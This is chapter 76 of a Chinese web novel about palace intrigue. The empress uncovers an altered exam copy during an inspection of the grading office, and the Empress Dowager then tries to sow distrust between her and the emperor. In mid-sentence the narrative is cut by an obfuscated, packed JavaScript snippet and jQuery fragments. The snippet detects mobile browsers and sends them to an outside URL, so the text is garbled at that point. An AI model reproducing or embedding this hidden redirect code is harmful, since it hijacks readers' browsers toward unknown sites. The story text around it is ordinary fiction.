咸鱼三百条 作品

76. 第 76 章

审阅科考答卷所在处位于太极宫朱雀门内的礼部选院。


皇帝亲临选院督查,内外无不肃然,就连地上一粒多余的灰都不能有。


沈穆庭一身暗纹青色圆袍衫,白玉腰带,坠金铃香薰,黑色幞头将乌发尽数收起,皇帝近卫千牛一支带刀开路,沈穆庭在一干躬身低头的奴仆簇拥中可谓唯我独尊,含而不笑的炯炯双眼扫来啊时,已显帝王之色。


礼部选院外的路口乌泱泱站满了人,大小官员皆出门迎接,跪伏在地高呼万岁。


苏卿在沈穆庭身后下的车,在春香的搀扶下,顶着累赘的行头站在他身边。


一路行程不过一千米的路程,仪仗就排了两百米。


苏卿坐在辂车上看这大阵仗:“这也太劳民伤财了。”


沈穆庭说:“天子出行,自然要宣示威德。”


京都科举舞弊是从未考之前的纳卷就开始,苏卿想肃清这积弊,提议沈穆庭亲自审查,也想着抓住个什么错漏杀鸡儆猴,也好真正选出可用的人,哪想到这乌泱泱几百人跟着。


“起来吧。”


沈穆庭抬脚进去,身后举着长幡,举着鸟羽装饰的幢等宫人分列两边,等候皇帝出来。


苏卿与沈穆庭并列,后面紧跟着千牛卫,进来后分站在各个出口旁。


各考官跟随帝后二人身后,不远不近的站着。


苏卿进来便看见桌案上摆着已弥封,尚在誊抄的答卷,她随意拿起一卷来看。


主考官礼部尚书杨志和主动上前介绍:“今岁考生有一千七百三十二位,誊录手从各处的吏员抽调,有三百四十六位,已是日夜加赶。”


苏卿将两份都拿起来看了,又看了一旁已经誊录好的案卷。


誊录卷是以红笔真楷写,为红卷;方便与墨卷,也就是原卷区分,红卷上均写有誊录手的姓名,方便追责。


苏卿在桌椅中穿梭,在桌面上拿了几份均没问题:“若誊录有误该当如何?”


“记二十大板,罚俸三个月。”


苏卿颔首。


往沈穆庭这边走时,扫见桌子下面翘起张纸。


这纸被浆糊贴在桌面的背后,若不是翘起一角,苏卿还不能看见。


拿出一看,是一份原卷,不同的是这张原卷上弥封处比与旁的答卷上多了一点墨痕。


再低头看桌子下面,还有张红卷,苏卿将糊在桌子底下的答卷撕下来,因是刷了浆糊贴上去的,哪怕是她蹲在地上小心翼翼地揭下来,上面的字依旧辨认不清。


誊录手多是小吏或是各校生员,连品级都没有的小人物,面见天颜对于大部分人来说都是头一次,更何况被当场‘抓包’。


坐在那个位置的不巧正是个在太学学习的监生,早在苏卿从桌子底下抽出一张原卷时,人已经跪在地上。


等那张稀烂的红卷被揭下来,严本康已经抖若筛糠:“陛下饶命陛下饶命!”


苏卿将撕烂的红卷与墨卷比对,上面内容完全不同,誊抄卷上改动许多,答卷优异许多。


“叫什么名字?”撕的太碎了,苏卿懒得找名字。


“严、严本康,”说着又朝苏卿磕头“皇后娘娘饶命!这、我……”


似乎是想辩驳,但又吞吞吐吐说不出来。


沈穆庭轻飘飘地接了句:“原来是严文令之子?”


严本康以头抢地:“是。”


“带下去,”沈穆庭露出一个堪称愉悦的笑,漫不经心道“仔细盘问。”


感觉到苏卿的目光,沈穆庭转头看来,摇着手里的茧扇:“皇后灵巧博学,不如皇后替朕审夺此案吧?”


苏卿直觉不对,但在这个将女子排除在政权之外的时代,不论沈穆庭出于什么目的,苏卿都会一试。


“臣妾接旨。”她略弯膝盖。


在此处待了大约一个小时,二人将选院里外都视察一遍,一面看一面问了不少话。


多是苏卿在问,沈穆庭在旁看着。


他要么是在看窗户上的花纹,要么是在摆弄手里的扇子,更多时候是微笑看着苏卿。


好像他被苏卿迷的失了心智,皇后要他做什么他就做什么。


踏出选院的大门,太后身侧侍候的王勉已再次恭候多时。


听闻帝后两人浩浩荡荡的出了门,太后后脚就叫人跟上,请两人来小叙。


按以往的旧例,太后应当另居兴庆宫,但张太后仍居在太极宫的延嘉殿。


“微臣参加皇上、皇后娘娘。”


苏卿二人踏入墨色大门,庭院中正陪太后下棋的尚书令王社起身见礼。


跟着他起身见礼的还有太后身侧坐着的一个姑娘,她梳着妇人头:“臣妾见过皇上、皇后娘娘。”


苏卿沈穆庭两人则给太后见礼。


“都坐吧。”太后笑着“这是妙儿,没事儿叫她夫妻两来陪哀家打发打发时间。”


这便是那个可怜的政治纽扣。


苏卿多看了她两眼,小姑娘瞧着身量还没长开。穿的是一身富贵,头上宝石钗子手上金镯玉环,妆容精致,怯生生的低着头,不多说话也不乱看,是个精心装扮的人偶娃娃。


宫娥搬来凳子,沈穆庭落座,看棋盘中黑多白少,笑说:“母后棋风刚烈,已将王大人杀的干净了。”


张子奕脸上多笑出几条皱纹:“是王社让着哀家。”


王社:“太后棋法精妙,惭愧惭愧。”


你来我往,说了些句相互捧场的客套话,苏卿手里的一盏茶快喝没了。


“听闻皇帝皇后今儿去礼部的选院了?”终于听见张子奕说到正事。


苏卿又珉一口茶,将茶盏小心放下。


“科举是朝中大事,儿臣也是闲着没事过去瞧瞧。”


太后落棋,又吃王社一子,笑而不语。


王社夸张地赞叹:“陛下圣明,是百官之福啊!”


“听闻皇后还抓住一个誊录官?”


苏卿只当自己是个陪衬,骤然提到她还怔了下才答:“是个太学的监生,叫严本康的,父亲是户部尚书严文令。”


太后早探听到这个消息,问苏卿不过是要起这个话头。


“倒是奇了怪了,”她好像才知道似得,感慨道“皇帝要巡视的消息是早就传下去的,这个严本康怎么不提前将狐狸尾巴藏好呢?”


说话间又吃一子。


棋盘中,白子大势已去。


王社丢了棋子,呵呵笑着:“罢了罢了,挣-扎不过,微臣认输。”


“老东西,你让着哀家还当哀家看不出来。”太后呵呵笑着,抬起一只胳膊,旁边一直默不作声的妙儿当即起身扶着她的胳膊“走太久,都给哀家坐累了,皇后,陪哀家出去走走。”


苏卿也跟着起身,身侧的沈穆庭忽伸手抓住她。


她垂目看去。


张子奕察觉两人的小动作,笑说:“小夫妻,蜜里调油般。让王社陪皇帝下下棋,等会全须全尾的给你送回来。”


沈穆庭一根根松手手,目光仍粘连在她身上:“朕在此处等你。”


三人身后跟着一队衣衫整齐的宫女内侍,有举着华盖遮阴的,有端着茶水点心预备主子需要的,跟的最近的是三人贴身的内侍宫娥。


一大队的人,不知道的还当是要出远门。


“皇后给哀家说说当时贡院里是个什么场景吧。”


苏卿将事情简要说了,太后含笑,慈眉善目若一尊大佛。


将之前问她的问题又问了一遍:“你说,这严本康是不是太笨了,明知道你跟皇上今儿要过来,还不把那些东西藏紧点。”


苏卿也觉着事情不对,那个严本康在求饶时也像是有话没说。


但听太后似乎话中有话,苏卿有意从她口中套话:“时运不济吧,人倒霉的时候喝凉水都塞牙。”


“皇帝要拿他老子开刀,也着实算他运气差。”张子奕轻巧的笑里藏了一丝刀光剑影,从袖中掏出一张指甲盖大小的纸卷。


苏卿未料此事与


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15357210|167361||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


沈穆庭牵扯上什么,迟疑了下接过张子奕指尖上的密信。


这想来就是鸽子腿上绑着送来的消息。


她搓着展开卷纸,上面蚂蚁大的字写着:帝密旨,谋加严子,展其暗卷。


苏卿看了一眼,又在心里默念一遍,将小纸条递还给张子奕:“臣妾草莽出身,文法疏漏,不知太后这是合意?”


“你拿去吧,”她保养的极好,笑开时脸上才如墨染般晕开一点皱纹,如邻居家的小姨“这也不算得什么事,老臣去了才能有新人。”


严文令乃户部尚书,正是前些日子头一个在皇帝面前哭穷的那位,瞧着目下的局势,严家想来也是太后的人。


但张子奕现在的意思,似是要将严家送给皇帝杀鸡儆猴,同时还要挑唆她与沈穆庭的关系?


“倒是另一件才要紧,”张子奕不将苏卿拒人于千里之外的不苟言笑放在心上,笑呵呵地开口“此次春闱前就有些兆头。坊市里居然传出试题明码标价出售的荒唐事来,还让皇帝在春闱时临时改了试题。”


她语气悠闲地说着这些话,却不错眼地盯着苏卿。


这就是谎话了,苏卿不知为何紧提着的心,放下些许。


“买卖试题”正是她与沈穆庭两人一块散播出去的谣言,她更加确定张子奕拉她一个人出来就是想拿这话来离间她与沈穆庭的同盟。


苏卿丢下那张小纸条,扯出一个虚伪的笑:“臣妾的耳朵倒不如母后的灵便。”


“好孩子,”她两手拢住苏卿的一只手,满目悲悯怜爱“你不在深宫里长大,那知道这里面的人都是什么心肠。”


她一双手冰凉,握着苏卿的手拍打这她的手背时,犹如被毒蛇缠住,吐着信子跟她示好。


凉意从手一直穿到脊背。


苏卿克制着没露出嫌恶的表情,僵着脸将自己的抽回来:“是非黑白,总是说不清楚。”


张子奕又要说什么,苏卿抢道:“说起来,儿臣听闻此次春闱的举子里有个叫张思睿的,是太后的族人。”


太后是掖庭宫罪奴出生,其家族三代以上男丁死了干净,九代以上男子为奴,女子为婢。而她纵使荣宠十余年,也从未有生育。


如今沈正骤然下线,再无束缚的张子奕暗中将族人张睿思安插在此次科考的举子里。


张子奕出生起就没跟直言直语的人打过交道,苏卿这么一说,倒让她有些无从招架。


太后皮慈祥从容的尊贵骤然一僵,但很快掩饰过去。


张子奕看着她的脸,满目疼惜:“你很像年轻时的哀家。”


“做官的,总要得罪些人,但又不能自己脏了名声,就得有人来替他冲锋陷阵是不是?”


她忽然说出这么一句话,漫不经心似的,苏卿心头却骤然一惊。


看苏卿没接话,张子奕和蔼道:“听说陛下把严本康的事儿交给你处理了?”


“是。”苏卿暂且按耐住被搅乱的阵脚藏起来。


但还是被老练的张子奕发现了,她不动声色,微笑着引导她:“你觉得皇帝为何要把这事儿给你做?”


苏卿没说话,那句‘冲锋陷阵’搅乱了她的心思,她没法想张子奕一样被踩了痛脚还能漫不经心的跟人玩角色扮演。


张子奕感同身受般轻叹一声:“你年纪还小,要学的东西还很多,所幸两宫距离不远,你可以常来哀家这里走走。”


苏卿屈膝应是。


张子奕将她拉起来,顺势又握住她的手:“这孩子,这么生分做什么。若不是长公主,哀家也没有今天。”


她拍着苏卿的手,如同一个母亲:“我们都是女人,知道做女人的难处。”


苏卿眸光微动,深深看她一眼。


“皇后。”


她要说什么,忽听身后一声呼唤。


他一回头,沈穆庭就站在身后。


也不知他听见了多少。


沈穆庭似乎一点也没听见,笑像只小狗:“朕下不过王社,快来助朕一把!”